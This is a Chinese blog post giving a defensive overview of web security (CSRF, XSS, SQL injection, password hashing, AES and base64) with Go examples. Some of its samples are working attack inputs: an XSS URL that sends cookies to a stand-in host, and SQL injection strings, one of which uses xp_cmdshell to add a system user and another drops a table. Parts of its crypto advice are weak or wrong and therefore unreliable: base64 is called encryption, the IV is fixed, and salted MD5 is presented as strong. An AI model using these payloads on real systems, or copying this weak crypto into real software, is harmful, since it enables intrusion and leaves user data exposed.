在Web application 中基本的安全防范小结

2017/05/23 Summary
CSRF攻击

CSRF(Cross-site request forgery),中文名称:跨站请求伪造,也被称为:one click attack/session riding,缩写为:CSRF/XSRF。

那么CSRF到底能够干嘛呢?你可以这样简单的理解:攻击者可以盗用你的登陆信息,以你的身份模拟发送各种请求。攻击者只要借助少许的社会工程学的诡计,例如通过QQ等聊天软件发送的链接(有些还伪装成短域名,用户无法分辨),攻击者就能迫使Web应用的用户去执行攻击者预设的操作。例如,当用户登录网络银行去查看其存款余额,在他没有退出时,就点击了一个QQ好友发来的链接,那么该用户银行帐户中的资金就有可能被转移到攻击者指定的帐户中。

CSRF攻击示意图:

CSRF攻击示意图

CSRF攻击步骤:

  1. 登入正常的网站A,并在本地保存了Cookie
  2. 在不退出A的情况下,访问了危险网站B(比如点击了小广告)

CSRF攻击主要是因为Web的隐式身份验证机制,Web的身份验证机制虽然可以保证一个请求是来自于某个用户的浏览器,但却无法保证该请求是用户批准发送的。

预防:

1、正确使用GET,POST和Cookie;

2、在非GET请求中增加伪随机数, 比如随机token;

生成随机数token

h := md5.New()
io.WriteString(h, strconv.FormatInt(crutime, 10))
io.WriteString(h, "ganraomaxxxxxxxxx")
token := fmt.Sprintf("%x", h.Sum(nil))
t, _ := template.ParseFiles("login.gtpl")
t.Execute(w, token)

输出token

<input type="hidden" name="token" value="">

验证token

r.ParseForm()
	token := r.Form.Get("token")
	if token != "" {
		//验证token的合法性
	} else {
		//不存在token报错
	}
输入验证

过滤用户输入数据,验证数据的合法性,是一个重要的过程。能够在一定程度上,避免恶意数据在程序中被误用。

三个步骤:

1、识别数据,搞清楚需要过滤的数据来自于哪里

2、过滤数据,弄明白我们需要什么样的数据

3、区分已过滤及被污染数据,如果存在攻击数据那么保证过滤之后可以让我们使用更安全的数据

输入数据来自哪里?

  1. 表单提交时的参数

  2. 接口传递的json参数

  3. 参数在url中

  4. 参数在http 的Header中

进行验证。验证数据的有效性,可以简单的验证,也可以根据自己的规则而验证。

<Grape>框架中,在controller 层做了验证的DSL语法的验证。<Rails>的框架,还可以在model层做验证。

这里建议,如果可以在controller 做验证,最好先做,再继续在model层做相关验证。通过两重的验证,基本可以保证数据的有效性。

XXS攻击

动态站点会受到一种名为“跨站脚本攻击”(Cross Site Scripting, 安全专家们通常将其缩写成 XSS)的威胁,而静态站点则完全不受其影响。 XSS是一种常见的web安全漏洞,它允许攻击者将恶意代码植入到提供给其它用户使用的页面中。不同于大多数攻击(一般只涉及攻击者和受害者),XSS涉及到三方,即攻击者、客户端与Web应用。XSS的攻击目标是为了盗取存储在客户端的cookie或者其他网站用于识别客户端身份的敏感信息。一旦获取到合法用户的信息后,攻击者甚至可以假冒合法用户与网站进行交互。

XSS目前主要的手段和目的如下:

盗用cookie,获取敏感信息。
利用植入Flash,通过crossdomain权限设置进一步获取更高权限;或者利用Java等得到类似的操作。
利用iframe、frame、XMLHttpRequest或上述Flash等方式,以(被攻击者)用户的身份执行一些管理动作,或执行一些如:发微博、加好友、发私信等常规操作,前段时间新浪微博就遭遇过一次XSS。
利用可被攻击的域受到其他域信任的特点,以受信任来源的身份请求一些平时不允许的操作,如进行不当的投票活动。
在访问量极大的一些页面上的XSS可以攻击一些小型网站,实现DDoS攻击的效果

XSS的原理

Web应用未对用户提交请求的数据做充分的检查过滤,允许用户在提交的数据中掺入HTML代码(最主要的是“>”、“<”),并将未经转义的恶意代码输出到第三方用户的浏览器解释执行,是导致XSS漏洞的产生原因

例子(来自 https://github.com/astaxie/build-web-application-with-golang/blob/master/zh/09.3.md):

接下来以反射性XSS举例说明XSS的过程:现在有一个网站,根据参数输出用户的名称,例如访问url:http://127.0.0.1/?name=astaxie,就会在浏览器输出如下信息:

hello astaxie

如果我们传递这样的url:http://127.0.0.1/?name=&#60;script&#62;alert(&#39;astaxie,xss&#39;)&#60;/script&#62;,这时你就会发现浏览器跳出一个弹出框,这说明站点已经存在了XSS漏洞。那么恶意用户是如何盗取Cookie的呢?与上类似,如下这样的url:http://127.0.0.1/?name=&#60;script&#62;document.location.href='http://www.xxx.com/cookie?'+document.cookie&#60;/script&#62;,这样就可以把当前的cookie发送到指定的站点:www.xxx.com。你也许会说,这样的URL一看就有问题,怎么会有人点击?,是的,这类的URL会让人怀疑,但如果使用短网址服务将之缩短,你还看得出来么?攻击者将缩短过后的url通过某些途径传播开来,不明真相的用户一旦点击了这样的url,相应cookie数据就会被发送事先设定好的站点,这样子就盗得了用户的cookie信息,然后就可以利用Websleuth之类的工具来检查是否能盗取那个用户的账户。

如何预防XSS

不要相信用户的任何输入的内容,并过滤掉输入中的所有特殊字符比如

过滤特殊字符

避免XSS的方法之一主要是将用户所提供的内容进行过滤,Go语言提供了HTML的过滤函数:

text/template包下面的HTMLEscapeString、JSEscapeString等函数

在Rails 开发中,如果要渲染有嫌疑的html字符串,使用<sanitize>方法继续过滤。 对返回的数据进行, sanitize @post.content, 或对 可以自定义的url 进行 sanitize

使用HTTP头指定类型

`w.Header().Set("Content-Type","text/javascript")`

这样就可以让浏览器解析javascript代码,而不会是html输出。

HttpOnly 设为true, 防止通过javascript脚本的方式获取得到Cookie

XSS漏洞是相当有危害的,在开发Web应用的时候,一定要记住过滤数据,特别是在输出到客户端之前,这是现在行之有效的防止XSS的手段。

SQL注入

SQL注入攻击(SQL Injection),简称注入攻击,是Web开发中最常见的一种安全漏洞。可以用它来从数据库获取敏感信息,或者利用数据库的特性执行添加用户,导出文件等一系列恶意操作,甚至有可能获取数据库乃至系统用户最高权限。 通造成SQL注入的原因是因为程序没有有效过滤用户的输入,使攻击者成功的向服务器提交恶意的SQL查询代码,程序在接收后错误的将攻击者的输入作为查询语句的一部分执行,导致原始的查询逻辑被改变,额外的执行了攻击者精心构造的恶意代码。

例子来自于: https://github.com/astaxie/build-web-application-with-golang/blob/master/zh/09.4.md

<form action="/login" method="POST">
	<p>Username: <input type="text" name="username" /></p>
	<p>Password: <input type="password" name="password" /></p>
	<p><input type="submit" value="登陆" /></p>
</form>

username:=r.Form.Get("username")
password:=r.Form.Get("password")
sql:="SELECT * FROM user WHERE username='"+username+"' AND password='"+password+"'"

如果用户的输入的用户名如下,密码任意
  myuser' or 'foo' = 'foo' --
那么我们的SQL变成了如下所示:
  SELECT * FROM user WHERE username='myuser' or 'foo' = 'foo' --'' AND password='xxx'

在SQL里面--是注释标记,所以查询语句会在此中断。这就让攻击者在不知道任何合法用户名和密码的情况下成功登录了

对于MSSQL还有更加危险的一种SQL注入,就是控制系统,下面这个可怕的例子将演示如何在某些版本的MSSQL数据库上执行系统命令。
  sql:="SELECT * FROM products WHERE name LIKE '%"+prod+"%'"
	Db.Exec(sql)
如果攻击提交a%' exec master..xp_cmdshell 'net user test testpass /ADD' --作为变量 prod的值,那么sql将会变成
  sql:="SELECT * FROM products WHERE name LIKE '%a%' exec master..xp_cmdshell 'net user test testpass /ADD'--%'"
MSSQL服务器会执行这条SQL语句,包括它后面那个用于向系统添加新用户的命令。如果这个程序是以sa运行而 MSSQLSERVER服务又有足够的权限的话,攻击者就可以获得一个系统帐号来访问主机了。

一个SQL注入的例子:

SELECT * FROM users WHERE email='''; DROP TABLE users;''';  

如何预防SQL注入

  1. 控制数据库的操作权限

  2. 检查输入的数据是否具有所期望的数据格式,严格限制变量的类型,例如使用regexp包进行一些匹配处理,或者使用strconv包对字符串转化成其他基本类型的数据进行判断。

  3. 对进入数据库的特殊字符(’“\尖括号&*;等)进行转义处理,或编码转换。Go 的text/template包里面的HTMLEscapeString函数可以对字符串进行转义处理。

  4. 不要直接拼接SQL语句, 对查询语句输入的前端提交传递过来的参数进行清洁过滤

存储密码

简单的方案

在数据库中,使用单向哈希后存储,单向哈希算法有一个特征:无法通过哈希后的摘要(digest)恢复原始数据,这也是“单向”二字的来源。常用的单向哈希算法包括SHA-256, SHA-1, MD5等。

import "crypto/sha256"

h := sha256.New()
io.WriteString(h, "His money is twice tainted: 'taint yours and 'taint mine.")
fmt.Printf("% x", h.Sum(nil))

import "crypto/sha1"
h := sha1.New()
io.WriteString(h, "His money is twice tainted: 'taint yours and 'taint mine.")
fmt.Printf("% x", h.Sum(nil))

import "crypto/md5"
h := md5.New()
io.WriteString(h, "需要加密的密码")
fmt.Printf("%x", h.Sum(nil))
  • 同一个密码进行单向哈希,得到的总是唯一确定的摘要。
  • 计算速度快。随着技术进步,一秒钟能够完成数十亿次单向哈希计算。

结合上面两个特点,考虑到多数人所使用的密码为常见的组合,攻击者可以将所有密码的常见组合进行单向哈希,得到一个摘要组合, 然后与数据库中的摘要进行比对即可获得对应的密码。这个摘要组合也被称为rainbow table。

因此通过单向加密之后存储的数据,和明文存储没有多大区别。因此,一旦网站的数据库泄露,使用暴力破解碰撞匹配,真实的密码就会被得到。

进阶的方案

自己设计一个哈希算法。一个好的哈希算法是很难设计的——既要避免碰撞,又不能有明显的规律,做到这两点要比想象中的要困难很多。因此实际应用中更多的是利用已有的哈希算法<进行多次哈希>,并且给密码进行<加盐salt>处理。

通常的做法是,先将用户输入的密码进行一次MD5(或其它哈希算法)加密;将得到的 MD5 值前后加上一些只有管理员自己知道的随机串,再进行一次MD5加密。这个随机串中可以包括某些固定的串,也可以包括用户名(用来保证每个用户加密使用的密钥都不一样)


import "crypto/md5"
//假设用户名abc,密码123456
h := md5.New()
io.WriteString(h, "需要加密的密码")

//pwmd5等于e10adc3949ba59abbe56e057f20f883e
pwmd5 :=fmt.Sprintf("%x", h.Sum(nil))

//指定两个 salt: salt1 = @#$%   salt2 = ^&*()
salt1 := "@#$%"
salt2 := "^&*()"

//salt1+用户名+salt2+MD5拼接
io.WriteString(h, salt1)
io.WriteString(h, "abc")
io.WriteString(h, salt2)
io.WriteString(h, pwmd5)

last :=fmt.Sprintf("%x", h.Sum(nil))
专家方案

使用<scrypt> 方案.这类方案有一个特点,算法中都有个因子,用于指明计算密码摘要所需要的资源和时间,也就是计算强度。计算强度越大,攻击者建立rainbow table越困难,以至于不可继续。scrypt是由著名的FreeBSD黑客Colin Percival为他的备份服务Tarsnap开发的。

dk := scrypt.Key([]byte("some password"), []byte(salt), 16384, 8, 1, 32)
加密和解密数据

base64加密

base64加密方法是一种简单的加密方法,例子:

package main

import (
	"encoding/base64"
	"fmt"
)
func base64Encode(src []byte) []byte{
  return []byte(base64.StdEncoding.EncodeToString(src))
}
func base64Decode(src []byte) ([]byte, error) {
	return base64.StdEncoding.DecodeString(string(src))
}

func main() {
	// encode
	hello := "你好,世界! hello world"
	debyte := base64Encode([]byte(hello))
	fmt.Println(debyte)
	// decode
	enbyte, err := base64Decode(debyte)
	if err != nil {
		fmt.Println(err.Error())
	}

	if hello != string(enbyte) {
		fmt.Println("hello is not equal to enbyte")
	}

	fmt.Println(string(enbyte))
}

##### 对称加密

Go语言的crypto里面支持对称加密的高级加解密包有:

crypto/aes包:AES(Advanced Encryption Standard),又称Rijndael加密法,是美国联邦政府采用的一种区块加密标准。

crypto/des包:DES(Data Encryption Standard),是一种对称加密标准,是目前使用最广泛的密钥系统,特别是在保护金融数据的安全中。曾是美国联邦政府的加密标准,但现已被AES所替代。

package main

	import (
		"crypto/aes"
		"crypto/cipher"
		"fmt"
		"os"
	)

	var commonIV = []byte{0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f}

	func main() {
		//需要去加密的字符串
		plaintext := []byte("My name is Astaxie")
		//如果传入加密串的话,plaint就是传入的字符串
		if len(os.Args) > 1 {
			plaintext = []byte(os.Args[1])
		}

		//aes的加密字符串
		key_text := "astaxie12798akljzmknm.ahkjkljl;k"
		if len(os.Args) > 2 {
			key_text = os.Args[2]
		}

		fmt.Println(len(key_text))

		// 创建加密算法aes
		c, err := aes.NewCipher([]byte(key_text))
		if err != nil {
			fmt.Printf("Error: NewCipher(%d bytes) = %s", len(key_text), err)
			os.Exit(-1)
		}

		//加密字符串
		cfb := cipher.NewCFBEncrypter(c, commonIV)
		ciphertext := make([]byte, len(plaintext))
		cfb.XORKeyStream(ciphertext, plaintext)
		fmt.Printf("%s=>%x\n", plaintext, ciphertext)

		// 解密字符串
		cfbdec := cipher.NewCFBDecrypter(c, commonIV)
		plaintextCopy := make([]byte, len(plaintext))
		cfbdec.XORKeyStream(plaintextCopy, ciphertext)
		fmt.Printf("%x=>%s\n", ciphertext, plaintextCopy)
	}

上面通过调用函数aes.NewCipher(参数key必须是16、24或者32位的[]byte,分别对应AES-128, AES-192或AES-256算法),返回了一个cipher.Block接口,这个接口实现了三个功能:

type Block interface {
	// BlockSize returns the cipher's block size.
	BlockSize() int

	// Encrypt encrypts the first block in src into dst.
	// Dst and src may point at the same memory.
	Encrypt(dst, src []byte)

	// Decrypt decrypts the first block in src into dst.
	// Dst and src may point at the same memory.
	Decrypt(dst, src []byte)
}

在开发Web应用的时候可以根据需求采用不同的方式进行加解密,一般的应用可以采用base64算法,更加高级的话可以采用aes或者des算法。

参考连接: https://github.com/astaxie/build-web-application-with-golang 

Search

    Table of Contents